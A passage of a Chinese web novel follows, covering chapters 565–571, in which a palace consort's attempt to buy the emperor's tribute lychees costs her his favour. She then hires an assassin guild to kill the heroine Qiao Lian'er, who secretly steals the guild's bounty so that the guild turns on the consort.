可以说,青枫原营地的条件非常优渥,是其他驻地和营地有不起的。 其他孩子也纷纷点头,表示认可。 “镰儿姐,我们感觉是来享福的呢。”阿五说。 乔镰儿笑了笑:“就是训练辛苦些,你们要练出一身本事,就得持之不懈,有毅力,吃得了苦头,这些生活条件不过是身外之物,也不必你们操心,你们要做的,是实现你们人生的价值。” 青枫原封地的训练是很严苛的,不仅仅体现在体能和技能上,那些营长以上的将领,还要求脑子活络会变通,同时又和大部队保持协调一体。 “嗯,镰儿姐,我们知道了,我们就喜欢吃苦,我们就想训练出真正的本事。” “我们往死里练。” 等乔镰儿回到京城的宅院,就看到乔云妮脸色不太好。 她把乔镰儿拉到房间里,为难道:“镰儿,我经营的铺楼里,来了一点麻烦。” “娘,你说。” “有一个嬷嬷,好像是宫里来的,说是所有的货品,不管是坚果,还是干果蜜饯,水果,通通都不合格,要我们拿出更好的,明天中午她再来。” “今天已经是她第三次来了。” 第566章 买走上供荔枝 除了荔枝只献给皇帝,榴莲最好的留给皇帝,其他的货品,面对各大高门和京城市民,拿出的也都是上品,最多是根据购买力做了一定程度的划分,但铺楼里也有顶级货的。 乔云妮是乔镰儿的娘,乔镰儿自然是心有偏颇,在娘名下的铺楼里,放的好货更多,乔家人也明白这个理,没有谁有意见。 客人到乔云妮的货楼买东西,根据价位和品质做选择,从来没有客人说一声不好。 居然有人来了三次不满意。 乔镰儿的第一反应,不会是有人来故意找茬吧。 她道:“明天我去会会。” 回头一看,牧星河抱着一大堆卷牍回来,夜幕降临,他脸上带着匆忙,有一种披星戴月的感觉。 虽然衙署事务多,但除非有特殊情况,到了散值就可以离去,第二天继续忙就可以。 牧星河一般都会晚点回来,现在晚归就算了,居然还把事务带回家处理。 “姐夫,越来越忙了。”乔镰儿说了一句。 牧星河在她的面前停住,他的面上带着认真肃然:“如今的我,连皇上的面都见不了,乔家有什么事都帮不上忙,担子主要压在镰儿妹妹的身上,我实在于心不安。” “乔家这样辛苦把我托举起来,我却平庸地没于官海,成为不起眼的一员。” “所以我决定好好表现,虽然我现在只是一个六品主事,但希望能够通过我的努力,尽快能够为乔家贡献出一份力量。” 见他有这个想法,乔镰儿心中宽慰,她道:“姐夫,吏部是重视你的,只是你还太年轻,仅仅是时间问题而已,跟表现,跟能力都没有关系,所以一步步来吧,这个家的任何风险,我都有把握应付,以后你强大起来,将是一大助力,我会更加得心应手些。” “既然是时间问题,哪怕稍微提前一点点,也是好的。”牧星河坚定地说着,抱着卷牍进了书房。 不仅如此,乔家男人作为将领,每天都在封地认真训练,没有怠惰的时候,回到家里,又勤快练字,看书,目前他们已经能看懂基本的军事谋略卷册。 每个人都很努力,作为一个普通人,大家都在努力突破自已的人生限度。 乔镰儿欣慰一笑,这样的家,生机蓬勃,让人看到无限希望。 第二天吃过午饭,她去了乔云妮的铺楼。 不一会儿,那个嬷嬷就来了,面白体丰,很是富态,又有一种发号施令的威仪感,应该是哪个贵人身边的。 她的身边带着两个丫鬟,一进门来就问道:“好货准备好了没啊。” 看到坐在掌柜位置的乔镰儿,嬷嬷脸上多了两分警惕,这丫头在京城上流,谁人不知,谁人不晓? 特别是上一次,大皇子在她面前吃了亏,闹得人尽皆知,都知道这丫头不简单,也不好对付。 听说她回去老家了,那个人才让她来货楼刁难,想趁这丫头回来之前,将乔云妮收拾一番,哪里想到她的返程这样快。 要知道,京城距离越州,可是半个月的行程啊,千里马昼夜不停,也要七八天,算上途中休息,喂养。 乔镰儿刚回到越州,又立刻马不停蹄飞驰回来了,这也未免赶得太不要命了吧。 嬷嬷脸色不太好,乔镰儿已经开了口:“这位嬷嬷,不知贵姓。” “老奴姓周。” “周嬷嬷。”乔镰儿笑了笑:“听说你前面来了三次,对我这里的货不太满意。” 周嬷嬷一听,挺直了腰背,拿出一副刁难的架势来。 “还真不是老奴不满意,而是姑娘家里的货,满足不了我家主子的要求。”周嬷嬷装作不认识乔镰儿的身份,不然,她要以下位者的身份来面对乔镰儿,反而不方便说话。 “噢,这么简单的事情,为什么不换一个铺子去买呢。”乔镰儿静静道。 周嬷嬷被问得一噎,乔云妮她不怕,可是这丫头,只是往那儿闲适一坐,随意几句,就让人心头被压得喘不过气来。 她暗暗吸了一口气,道:“那些坚果,蜜饯,只有几家铺楼有,你们家又是品质最好的,所以我才来你们家买。” “既然我们家品质最好,为何又三番五次不满意?” 周嬷嬷已经想到她会这样问,就说道:“品质虽然超过别家,但还达不到我家主子的要求,姑娘,你与其有时间刁难老奴,还不如想想,如何拿出质量最上等的货来,我家主子身份可不低,你招惹不起。” 乔镰儿起身来,走到货架前:“不知道贵人都要哪些品类。” “坚果,干果蜜饯,榴莲,椰子,林檎,葡萄都要。”周嬷嬷道:“都要顶级货,个头越大越好,这样主子才会高兴。” 乔镰儿在一边货架晃了一圈,那儿多了几个三十多斤的大榴莲,还有一箱荔枝,其他的好货也准备好了。 然后她朝这边打了一个手势,面容淡淡。 周嬷嬷过来一看,眼睛明显亮了一下,都是进献标准的上等品啊,贵妃一定会喜欢的,还有这荔枝,贵妃很喜欢吃荔枝,可是皇上再宠爱她,最多也只是每天给几颗,根本吃不尽兴。 而且,乔镰儿回来了,这丫头刁滑得很,原先的计划行不通,周嬷嬷打算就此偃旗息鼓,顺坡下驴,带些好东西进宫去,这件事暂时到此为止,以后再说。 “全部都要,都装进马车,包括这一箱荔枝。”周嬷嬷想到韩贵妃一定会好好奖赏她,不由得心花怒放。 这些荔枝个头很大,果皮红彤彤的,根蒂很新,一看就是刚从树上摘下来的好货,比皇上给贵妃吃的品质更优良。 “荔枝不卖。”乔镰儿道:“伙计下货下错了,这箱荔枝有别的用途。” 周嬷嬷一听,气性就上来了,冷笑一声:“姑娘,这是给你家里人吃的吧,这么一大箱,我看你家里也未必吃得完,不如卖给我家主子,价格你开高点都没关系。” 第567章 帝怒:好货被人截胡了? “最主要的是,我家主子看上这箱荔枝了,无论如何你也得卖。”周嬷嬷是铁了心邀功,不会放过这一次机会。 乔镰儿也不勉强:“既然贵人招惹不起,我也不敢要太高的价格,这样吧,这一箱荔枝,我卖十两银子。” 周嬷嬷还以为,怎么着也得要一百两吧,一听十两,眼睛再一次亮了,等她回去,跟贵妃报一百两,吃九十两的回扣。 这一趟出来,太赚了。 把好果都装上马车,周嬷嬷付了钱,一脸喜色离开这里。 虽然没有拿乔云妮怎么样,但这箱荔枝,还有这些大个大个的榴莲,就是对贵妃的安慰。 乔镰儿立在门前,看着马车离去。 如果她没有猜错的话,那个贵人,应该是最受宠的韩贵妃,大皇子的母妃。 不然,宫里的哪一位娘娘,都没有理由惦记上她。 三番五次来回为难,是料定了她不在,如果她没有赶回来,还不知道乔云妮会是什么样的遭遇。 那个周嬷嬷看她的眼神,分明是认得她的身份,却装作没有认出来,不过是为了好对她施压而已。 这些人明摆是为着挑事来的。 不过现在,轮到她看好戏了。 有些东西不能要,也要不起,因为在天底下,只有一个人能够匹配。 还记得那一次,把她召到宫中去质问,就可见一斑了。 乔镰儿也准备着,进宫一趟。 韩贵妃已经四十出头,可是保养得颇好,看起来比实际年龄年轻十岁,这也跟她这么多年来养尊处优,受尽宠爱有关,心境一直处在无忧的状态。 她正念叨着,今天皇帝会不会给她送荔枝来,周嬷嬷就让人把一个个箱子抬进了大殿。 “娘娘,奴婢给您买到好东西来了。” 韩贵妃正慵懒地躺在软榻上,手上拿着一册皇家话本,闻听这话,眉头微皱了一下。 她让张嬷嬷去,可不是要真的从乔家的铺楼买东西回来。 那些箱子打开了,露出了超大个的榴莲,每一个起码有三十几斤,还有一个箱子里,都是个大浑圆的荔枝,红鳞果皮鲜艳,隐隐透出一股甜香来。 看到这么多荔枝,韩贵妃的美眸里散发出光彩,刚才的不快,都烟消云散。 要知道,荔枝根本买不到,乔家只献给皇帝,她们这些做妃嫔的,就等着皇帝的赏赐,每天十颗最多了,根本就吃不够。 她还算好的,那些不受宠的妃嫔,十天半个月都等不来一颗荔枝,脖子都望长了。 所以,看到这么一大箱,韩贵妃的欣喜无法形容。 她立刻从坐榻上起身来,没有来得及等下人的搀扶,就匆匆到了箱子前。 拿起一个荔枝,身边的人立刻接过来,剥了壳,又递给贵妃。果肉晶莹剔透,甚至有些颤巍巍的感觉,好像凝城的羊奶,惹得人味蕾大动。 韩贵妃咬了一口,比皇帝送给她的还要新鲜,还要香甜。 她这才意识到,皇帝再宠爱他,给她的也是不怎么新鲜的荔枝,根本就吃不出这样的味道。 如果不是有这一箱荔枝抬进来,她都不知道,荔枝最原本的味道是什么。 韩贵妃让下人剥了一大盘,一个个放到嘴里,脸上都是满足。 周嬷嬷在一边说:“乔家人还不想卖,那丫头更是一副了不得的样子,不过奴婢说了,奴婢背后的贵人,乔家惹不起,飞鸾郡主便生出了怯意,这一箱荔枝,奴婢看着怎么都值几大百两,可飞鸾郡主一百两就卖了。” 韩贵妃听得很舒心:“这个乔镰儿,让本宫的儿子跌了这么大的一个跟头,还以为她天不怕地不怕,原来也有胆怯的时候。” “可不是嘛,人总是惧上,飞鸾郡主要是不怕,回回讨好皇上做什么。”周嬷嬷道:“只是这么说来,她敢招惹大皇子,是不是有点不把大皇子殿下放在眼里了。” 她这么一说,韩贵妃的双目寒了一瞬,口中的荔枝似乎也没有那么香甜了。 她哼了一声:“要不是这一朝有规定,皇子封王,要有新帝来封,我儿早就成为一个实权王爷,就不会畏手畏脚,连乔镰儿也敢在他面前造次。” “不过这一次,你能吓一吓她更好,荔枝不想卖她也得卖了,我儿的账,以后我再慢慢跟她算。” 说罢韩贵妃就不再想这件事,只顾品尝着眼前的美味。 “你弄来这么一大箱荔枝,还有这样个头的榴莲,也算是立了功,今年多给你加三个月的月例吧。” 周嬷嬷得偿所愿,激动不已,赶紧福身谢恩,何止是三个月的月例,她还吃了九十两的回扣呢。 乔镰儿去见皇帝,也是带了三个榴莲,一箱的荔枝。 只不过这些荔枝个头偏小一点,榴莲也没有以前大。 看着箱子打开,皇帝的脸上懵了一下。 乔镰儿恭恭敬敬跪下:“臣女抱歉,臣女不安。” “发生什么事了?你先起来。”皇帝抬手。 乔镰儿不肯起来:“臣女准备献给皇上的榴莲和荔枝,被人强行买走,那买货的嬷嬷说了,想要吃这些东西的是宫里的贵人,臣女惹不起,前不久乔家才被为难,臣女实在不想再生出波澜,只好按照对方的要求来。” 皇帝的脸色一下子变得冷沉。 他还说,怎么这一批不太好,原来是被人截胡了。 “臣女告诉那嬷嬷,说这些荔枝另有用途。其实,除了乔家人留一点成色不太好的解解馋,荔枝主要是献给皇上,嬷嬷怎么会猜不出来,可是仗着背后有人,胆子便大了些。” “臣女谨慎,怕那贵人挑刺,一大箱荔枝十两银子就卖了,希望贵人下一次不要再派人来。” 专门献给他的荔枝,被强行买走也就罢了,还只值十两银子,皇帝的双眼更是幽黑。 “买走荔枝的人是谁,你可知道。” “那位嬷嬷姓周,其他的臣女就不知道了。” “周嬷嬷。”皇帝咀嚼了一下,马上就想起来了,这不是跟随韩贵妃多年的老嬷嬷吗? 第568章 这味道,贵妃感觉如何 韩贵妃是皇帝心头最喜欢的人,从入宫起,一直受宠不衰。 不管每一段时期都有妃嫔得到盛宠,甚至掩盖过韩贵妃的风头,但能够好好维持下来的,也只有韩贵妃一人,这就显得皇帝对其他妃嫔的宠爱,宛如一场新鲜感的喧闹,而对韩贵妃,却是发自内心的珍重。 所以,后宫中有不少妃嫔嫉妒韩贵妃,韩贵妃也不是什么善茬,但是对于她的一些动作,皇帝向来是睁一只眼闭一只眼,只要她不危害到皇权利益,其他的,任由她胡闹去。 没想到这一次,她直接抢了皇帝最喜欢吃的荔枝还有进献规格的大榴莲。 皇帝低着眉眼,似乎在沉吟着什么,气息让人捉摸不透,乔镰儿也没有出声打搅。 “大概是朕太宠她了,让她觉得可以无法无天,越过了界限去。”皇帝的语气很平静,可是乔镰儿听来,却隐藏着一抹不满。 这天底下,有的东西只能圣上享受,这是特例,是区别于亲王,贵族,普通大臣的表现。 要这么越界,是不是想摸一摸他的皇位啊,韩贵妃不能肖想,可是大皇子呢,在宫中,可是母凭子贵。 皇帝本来就多疑敏感,越是想着,心头越不舒坦。 又看了看这箱荔枝,比以前献上来的小,越看越觉得刺眼。 榴莲也就罢了,高门贵族可以买到规格小一点的,他最喜爱的人,跟他吃一样大的也没关系,可是荔枝,是专门给他的,怎么可以? 皇帝深吸了一口气,亲手把地上的乔镰儿扶起来:“朕明白你的心意,你先回去吧。” 不怪乔镰儿,韩贵妃她真的惹不起。 乔镰儿似乎如释重负,赶紧告谢:“这一次也有臣女的不对,不小心把货下到了铺楼里,才遭到惦记,下次有好货,第一时间送到宫中来。” 皇帝哼了一声:“有心想要越界的人,总会找到机会,镰儿每次都把最好的献给朕,朕明白你的孝心。” 乔镰儿微微叹:“的确,那一位嬷嬷已经是第四次去了,前三次都有意见,怪榴莲不够大。” 皇帝的眼底又晦暗了些,三番五次去,要么是想要他的规格,要么是想针对乔家,不管是哪一种目的,最后的结果都是越界,都让他恼火。 乔镰儿退下后,皇帝后脚就朝着韩贵妃的宫殿去。 而乔镰儿也没有真的回家,而是换上了隐身衣,以看八卦看热闹的心态跟了上去。 韩贵妃每天心心念念吃够荔枝,一大箱荔枝送到,只觉得怎么吃都吃不够。 所以吃饱了,她休息一会儿再吃。 周嬷嬷也把榴莲烤着,冬天吃烤好的榴莲,是一种享受。 这会儿正吃着,听到外头下人毕恭毕敬道:“皇,皇上来了。” 声音带着一抹慌乱。 韩贵妃心头惊了一下,这一箱荔枝是强行买来的,乔家的荔枝只有皇上吃得到,她很清楚,这是不合规矩的。 皇上没有看到还好,看到了就是另一码事。 但现在要收起来,已经来不及了,韩贵妃又觉得,皇帝宠爱自已多年,应该不会跟她计较吧。 这样一想,又生出了一种说不出的自豪感。 她略略打理一下仪容,起身到门前行礼。 “皇上,臣妾正念着您呢。” “果真。”皇帝脚步不停,声音听不出悲喜。 “臣妾说的是真心话,皇上不信臣妾呀。”韩贵妃像以前一样撒娇。 她虽然四十出头,但看起来只有三十来岁,撒娇也并不显得矫揉造作,皇上向来也很吃她这一套。 不过今天的皇上,好像置若罔闻。 他往殿里头走,就看到了摆在软榻前案几上的荔枝,还有一旁的炉子上在烤着两房榴莲。 荔枝个头很大,水澄澄晶颤颤的,隐约散发出一种桂花的清香。 皇帝又看了一眼箱子里没有剥的荔枝,他只觉得,比以前献给他的还要大。 整个整个的榴莲放在一旁,果皮金黄,似乎也要更大一些。 这些本来是要摆到他桌前的,却都被韩贵妃强行买走。 皇帝看着这些吃的,一言不发,眼里没有任何波澜,只是一种威压,从浑身源源不断扩散出来。 韩贵妃陪在他身边多年,了解他的脾性,知道这是对人不满,却又强忍着没有发火的征兆,怕是心中已经惊涛骇浪。 一种极其不祥的预感涌上来,韩贵妃脸上多了一抹讨好的笑意:“皇上,这是宫里的下人去乔家的货楼买来的,个头成色都不错,臣妾正要让人去给皇上送一份呢。” 皇帝缓缓转过身来,看着她。 “朕宠爱贵妃,朕的进献规格,贵妃也想体验一下,不知道这味道,贵妃感觉如何。” 一听这话,韩贵妃的额头上飞快沁出了一层冷汗。 赶紧跪了下来,战战兢兢道:“皇上,臣妾不是故意的,只是下人碰巧看到好的成色,想着给臣妾买来解解馋,没有想那么多,臣妾自然是不敢僭越规矩的,臣妾也只是浅尝一点,剩下的这么多都是皇上的,以后臣妾再也不敢了。” “真的是碰巧看到?”皇帝想到乔镰儿说的,是第四次去了,脸色多了一层冷霜。 在他面前撒谎,睁着眼睛说瞎话。 韩贵妃不确定皇帝了解多少信息,也只有硬着头皮道:“是碰巧,臣妾宫内的人,一直都谨守规矩,这一次犯了糊涂,臣妾会严加教管他们,今后绝不会有此类事情发生。” 一边说着,一边伸手抓住皇帝的衣摆,轻轻摇晃着:“皇上,您就原谅臣妾这一回吧,人生在世,哪有不行差踏错的时候,臣妾服侍您多年,一时疏忽,皇上就不要怪罪臣妾了吧。” 皇帝不为所动:“朕喜欢吃的荔枝,贵妃十两银子一箱买回来,倒也没有怎么费钱,也算是值当。” 周嬷嬷听到这话,脸上多了一抹慌乱,心虚地低下了头。 韩贵妃狠狠剜了她一眼,又继续对着皇帝哀求:“不过是捡了一回好运,献给皇上的东西,是无价的,怎能用银子来衡量。” 第569章 失宠发疯:本宫要她偿命 一边说着,韩贵妃一边吩咐下人:“赶紧把这些荔枝和榴莲,给皇上的寝殿送过去。” 下人赶紧行动起来。 “不必了。”皇帝淡淡出声。 “朕不过是来瞧瞧贵妃,贵妃不必如此紧张,既然贵妃喜欢吃,那就吃个够。” 皇帝拂袖离去,留下一地清冷的气息。 这已经是等于公开表达对韩贵妃的不满,韩贵妃还是第一次遇到这样的情况,僵僵跪在原地,不知道该做何反应。 只能是颤着声音道:“臣妾恭送皇上。” 等到皇帝的身影看不见了,韩贵妃失魂落魄从地上起来,哪里有心思再品尝荔枝。 她一巴掌就打在周嬷嬷的脸上:“老贱婢,你吃这个回扣也就罢了,偏把本宫推到水深火热之中,叫本宫不得安生。” “皇上从来没有这样对本宫过,以后本宫没了皇上的宠爱,这日子何以为继。” 周嬷嬷的脸被打得火辣辣的疼,主子失宠,做奴婢的也跟着不好过,她心中也是害怕。 “娘娘不用担心,娘娘生下大皇子,皇上最喜欢大皇子了。” 周嬷嬷嘴上这样说着,可是大皇子不久前被皇上打了板子,还在禁足之中,这话也说得不怎么有底气。 这段时间,母子都很是不顺。 她眼珠子一转,想到了祸水东引。 “娘娘,说来说去,还不是怪乔家人,怪那个乔镰儿,我总觉得这一次她是故意的。” 韩贵妃皱了一下眉头。 “娘娘你想啊,我们纯粹是为了刁难一下乔家,结果乔镰儿回来了,竟然把敬献给皇上的顶级榴莲和荔枝摆出来,难道她不知道这是僭越,就等着咱们上钩呢。” “当时奴婢只想着好好孝顺娘娘,没有来得及揣摩她的这些心思,现在看来,她居心不良啊。” 周嬷嬷条条在理的分析,让坐在软榻上的乔镰儿点头。 的确是这么一回事,周嬷嬷说对了。 韩贵妃眯起了眼睛,眼里释放出一抹冷意。 “好个乔镰儿,果然不简单,先是害了本宫的儿子,又算到本宫的头上。” 此时此刻,韩贵妃的好心情是完全没了,恨不得立刻就撕了那丫头。 “她既然步步紧逼,要陷本宫于不义,本宫也不会跟她客气,乔镰儿,本宫扎根宫中多年,你现在再得势,也不过是一只蝼蚁,拿什么跟本宫斗。” 乔镰儿听得有些疑惑,到底是谁对谁步步紧逼了? 不过不奇怪,坏人总觉得自已无辜委屈,只有这样,她才能肆无忌惮 不过,明确了韩贵妃的意思,以后要是有什么动静,也好有追索的对象。 接下来的日子,乔镰儿都留意着这里的动静。 自从韩贵妃买了荔枝和大榴莲,皇帝确定情况之后,就再也没有来过。 以前不超过五天,皇上就会来看望韩贵妃一次。 这一下子过去一个月,愣是没有踏足这里,也没有召韩贵妃侍寝。 如今,整个皇宫的人都知道,韩贵妃僭越,遭到了皇帝冷落,已经失宠了。 如果不是这件事,大家都会以为,韩贵妃的恩宠会久盛不衰。 又有人在议论,不仅仅是韩贵妃越界,大皇子去对付乔家,弄出那么大的动静,也让皇帝对他心生不满,母亲又有任性之举,皇帝更是失去了大半耐心。 这样一来,母子的地位就不复从前了。 一个月的时间,韩贵妃好像衰老了十岁,恢复了她本来年纪的样子,头上零星掺了白发,精神也似乎不太正常了,每天都要到门口,看看有没有皇帝亲临的身影。 进入后宫这么多年,她还从来没有受过这样的冷落。 “你去打听打听,是不是皇上忙于政务,没有时间往后宫来。”韩贵妃对周嬷嬷说。 周嬷嬷的日子也不好过,以前隔几天就有好东西往这里送来,贵妃用不完的,就赏给他们这些下人,指甲缝里漏一点,就能让家里富裕许多。 可是现在,皇帝不来了,赏赐也没有了,冷冷清清的,就连院子里的下人也恹恹的,没什么干活的劲儿。 韩贵妃的宫殿,从原来的生机勃勃,变成死气一片。 周嬷嬷去了,等到回来的时候脸色不太好,欲言又止。 “说,有什么是本宫不能承受的。”韩贵妃冷笑。 “贤妃仍然像以前一样受宠,皇上又宠了两个新人,经常往她们那儿去。” 韩贵妃听到这个消息,浑身僵住,皇帝是真的在生她的气,就这样晾着她,当她不存在,等到时日久了,会不会真的忘了她,那样她岂不是要孤老宫中了。 想到这个后果,她就恐惧。 “娘娘,要不要亲自去找皇上。”周嬷嬷道。 “以前都是皇上来找本宫,或者召本宫到寝殿,那是本宫的荣光,是本宫的骄傲,现在却要本宫去找皇上,岂不是在告诉所有人,本宫失宠了,迫不及待想恢复盛宠。” “可现在不是顾及面子的时候呀。” “现在宫中人人都在嘲笑本宫,以前嫉妒本宫的那些妃嫔,又怎么会放过这样的机会,所以本宫闭门谢客,眼不见为净,只要本宫出了这一道门,还不知道多少人等着讥讽。” 想想以前尊贵无上的待遇,又想想现在,韩贵妃满心的不甘。 她的手指掐紧了掌心,鲜血淋漓都浑然不觉。 “乔镰儿,都是乔镰儿害的,她毁了本宫的全部,本宫要她以命来偿。” 对于韩贵妃来说,现在皇帝这样晾着她,反而方便她神不知鬼不觉动作。 等到收拾了乔镰儿,她再想办法恢复盛宠。 阴招大皇子已经使用过了,那样大的一顶帽子,都没有绊倒乔家,反而让自已栽了一个大跟头。 所以韩贵妃打算来点直接的,买杀手,干脆利落解决掉。 她乔装打扮出了宫,进了京城最大的武行,叫做忠义局。 忠义局经营各种业务,招收学徒学武,押镖,也接朝廷剿灭山贼,维护治安的委托。 所以,是一个很光明的武行。 但是对忠义局有更多了解的人知道,忠义局暗中培养了一批精良的杀手,只要肯接,出手从来没有失误过。 第570章 五百万两买她命?偷走 韩贵妃戴着冥篱,这是一种帽裙的设计,长度垂到了膝盖。 看出来人身份不凡,忠义局的管家立刻把人迎到后厅。 “这位贵人,有何吩咐。” “我要见你们老板。”韩贵妃道。 “请贵人稍等。”管家奉了茶水之后,进了里间。 不一会儿,一个身形消瘦修长的男人走出来,大概四十几岁的年纪,目光精明矍铄,步伐轻稳,一看就是个硬手。 他目不斜视,可是却在看似不经意间,将来人打量了一个仔细,立刻判断出来,对方身份尊贵非常。 是那种用手指头才数得出来的贵人。 男人脸上多了一抹客气敬重,行了一礼之后,在韩贵妃的对面落座。 “我们忠义局,很少有您这样的贵客登临,您是想要,押镖?” 韩贵妃侧首,身后的周嬷嬷立刻上前,将一个沉甸甸的小箱子放在桌子上。 打开,里面摞了好几块大金砖,一时间散发的光芒,让人眼睛都要睁不开。 等到眼睛适应过来了,看到金砖之间的缝隙,还塞着大把的银票,每一张都是一万两起。 看到这么多的数量,柳尚就知道,对方的目的,多半不是押镖。 他清瘦的手拿起一块金砖,沉重的金砖在他手上好像一根羽毛一般轻巧。 “事成之后,另有这样一箱。”韩贵妃缓缓道。 柳尚脸上肃然起敬,抱起拳头:“贵人只管吩咐。” “我要一个人死。” “贵人诚意到了,想要谁死,我们就不会留着那个人,碍贵人的眼。” “可是我说的那个人,你们未必敢杀。” 柳尚淡淡一笑:“忠义局还没有不敢杀的人。” 忠义局成立百年来,杀过亲王,皇子,后妃,这天底下,只有一个人不敢杀,那就是皇帝。 “飞鸾郡主,乔镰儿。”韩贵妃吐出这个名字。 柳尚微怔了一下,飞鸾郡主可是皇上跟前的大红人,不仅仅是她少年天赐的能耐,她献给皇帝的东西,也是无可取代的,这些别人根本无法模仿,这就是她的特殊性。 如果飞鸾郡主出了事,皇帝一定会下令重查,忠义局虽然接杀人的任务隐秘,鲜少有人知道,但并不代表皇帝不会查到忠义局的头上来。 看到柳尚似乎在犹豫,韩贵妃嗤笑了一声。 “如果忠义局真的这么胆小,那我是来错了,不如改成鼠辈局。” 说着就要合上箱子。 “慢着。”柳尚出声制止。 “贵人也未免太小看忠义局了,除了弑杀天子,忠义局什么任务都敢接,只是有的时候要麻烦一点,做这一行,本来就是个麻烦。” “好,既然你说麻烦,那我多给你一些时日,半个月如何,我不管你们有几次失败,只要最后成功。” 柳尚道:“郡主人就在京城,足够了。” 等到韩贵妃离去,柳尚看着那个盒子,脸上没有一丝表情。 “既然是个麻烦,阁主为什么要接,虽然给得多,但忠义局家大业大,也不是非要这份钱不可。” “因为,这是忠义局,不是鼠辈局。” 柳尚承认,激将法真的有用,他不能让忠义局的名声受到半点损害。 至于乔镰儿,她在皇帝面前再得脸,可是忠义局就连亲王都敢杀。 何况一个十来岁的小女娃子? 而且,柳尚决意,要一击成功,做得干净利落。 双手交拍几下,立刻从两侧闪现出来十几个人影,转眼间就到了眼前待命。 “你们是忠义局最精良的杀手,从来没有失手过,现在,我要派你们去执行一个任务,务必第一次就成功。” 不然,引起乔镰儿的警觉,定会请求皇帝派人把她保护起来,到时候就难动手了。 柳尚交代一阵,这些人立刻动身出发。 他不知道,此时此刻,乔镰儿正坐在太师椅上,翘着二郎腿,脚尖一晃一晃,很是悠闲的,将韩贵妃进来到现在发生的一切,都收入眼底。 韩贵妃竟然花这么多钱,请这么厉害的杀手组织杀她,的确是看得起她。 她正要离开,瞥了一眼桌子上的箱子,里面装着的金砖银票,都是她的买命钱,既然如此,是不是说明,这些钱都该是她的。 乔镰儿正要将箱子带走,很快又转变了想法。 她一直等到管家把箱子收进库房,自己也跟了进去。 管家照例吩咐守库房的人多留一个心眼,然后离开。 乔镰儿从空间里放出几只鸽子,那些鸽子在屋檐上掠过,惊落了几片瓦,转瞬飞得无影无踪。 这样的动静,一下子引起了那些守卫的警觉。 “什么人。”他们掠身而起,到屋檐上查看情况,可是什么都没有看到。 越是这样,他们越觉得不安,赶紧多召了一些人来检查。 乔镰儿把那个箱子收进空间里,金砖有三十斤,就是三百两,折成白银三千两,这个主要是为了好看,主要的价值在银票上,数了一下这一摞有五百张,也就是五百万两。 接下来,她就等着看好戏了。 库房的守卫好好寻了一圈,就连整个忠义局都检查了一遍,外头的街道也看过了,没有找到什么可疑的人。 管家也匆匆进入库房,发现那个箱子不见了,赶紧去跟柳尚禀报。 柳尚沉着脸,立在放置箱子的那个位置前。 这还是第一次,忠义局遇到这种事情,对方并没有动其他的财物,只拿走了那个箱子。 他的心中不由得多了一个猜测。 “把刚派出去的杀手都召回来。” “阁主,这是为何。” 柳尚冷笑一声:“刚刚送来赏金,箱子就不见了,好大的胆子,竟这样玩弄忠义局。” “阁主怀疑是那一位贵人——” “就算位高权重,也没有这样行事的道理。”柳尚狠狠一拂袖,浑身都是冷意。 “那些贵人看起来不像是给不起的人,为什么要这样做。”管家六十多岁,识人无数,今天来的那一位贵人,他感觉不会这样吝啬。 第571章 一定是雇主干的,你不仁我不义 柳尚的手指,缓缓敲击着放置箱子的那个位置。 “或许,对于有些人来,不费一个铜板就能达成自己的目的,便是大赚特赚了吧。” 管家又好好回忆了一下来人的举止,他越发觉得,对方不会这样小气。 “会不会是别人——” “箱子刚收到库房,除了你我,除了雇主,你觉得还会有别人知道,就算消息再灵通的人,也不可能这样快。”柳尚的分析,自有他的一番道理。 管家总觉得这件事怎么想都不对,但他也找不到别的理由了,阁主的说法也没错。 “明面上雇主给了这么多银子,我们也接下了任务,按照规定,是一定要完成的,可现在出了这档子事,我们应该如何做。” 柳尚眯起了眼:“君不仁,我不义,这种时候,也不必顾什么江湖道义,忠义局被耍弄这么一次,如果因为对方的地位,身份就退缩,以后岂不是人人都可以来侮辱。” 接下来的日子,乔镰儿就没有以前那么神秘。 她总是出现在各大酒楼里,大街上,甚至荒郊野外,都是一个人。 对于韩贵妃来说,正是下手的绝好机会,但似乎忠义局完全没有动作。 她以为忠义局另有安排,等到乔镰儿完全放松警惕,就一次击杀成功。 没想到过去了半个月,乔镰儿还在活蹦乱跳,一点事都没有。 “这是怎么回事,忠义局竟敢拿了钱不办事,好大的胆子。”韩贵妃一天天忍到现在,看到这个结果,她终于不用说服自己。 忠义局根本就没有干活。 说着,一掌狠狠拍在扶手上,五官气到狰狞扭曲, 她从来没有受过这样的羞辱,简直是在耍弄她。 周嬷嬷也是气不打一处来:“敢在娘娘面前这样造次,简直是不想活,娘娘非要给忠义局一个教训不可。” 韩贵妃嘴角升起一抹阴郁的笑意:“本宫倒想知道,忠义局为什么要这样做。” 换上跟上次一样的装束,韩贵妃进了忠义局,所经之处,带过一抹杀意。 管家迎了上来,脸色不太好。 “贵人拜访,有何要事。” 见对方这样明知故问,韩贵妃笑了,笑声里带着凌厉。 “我要见你们老板。” “老板就在花厅。” 韩贵妃脚步加快,进入后厅,柳尚正坐在太师椅上饮茶,抬起眼皮淡漠瞥了一眼,也不起身迎接。 “你们忠义局这是什么意思。”韩贵妃见对方俨然一副撕破脸的架势,更是觉得讽刺。 “忠义局还没有问阁下,阁下又是几个意思。”柳尚将手中的茶盏往桌上一搁,发出清脆的响声,连茶水都溅出两滴。 韩贵妃盯着柳尚,发现对方并不像是开玩笑的样子。 她又笑了起来。 “我五百万两银票,三十斤黄金,让你们忠义局替我杀一个人,这半个月来,那乔镰儿到处溜达,有的是下手的机会,你们居然无动于衷,拿了钱不干活,这就是你们忠义局一贯坚守的原则?” 柳尚眉梢一挑,脸上也露出了一丝好笑的神情。 “贵人息怒,既然贵人要这个结果,我们不如把前因后果都好好理一理,不然不知情的,还以为是忠义局不讲信用。” “什么前因后果。”韩贵妃只当对方是找借口,语气很是冷硬。 “半个月前,贵人是送来了五百万两银票,以及三十斤黄金,贵人前脚刚走,我们后脚就把这些财物收进库房,可却在不到一刻钟的时间之内,连箱带物被人窃走。” 什么,听到这一番话,韩贵妃愣住。 但是她马上想到,这不过是忠义局的措辞而已。 “你们忠义局重地,谁轻易进得来,除了你们自己人,不可能有人能够从你们的库房盗走财物,不过是你们拿了钱不想干活,拿这个理由来搪塞我而已。” “忠义局虽然有些本事,但是比忠义局厉害的大有人在,尤其京城是藏龙卧虎之地,就拿贵人这样的身份来说,也不是谁能轻易相抗的。” 韩贵妃的手指用力扯着帕子,拼命克制着内心的情绪,但她的声音还是有些颤抖。 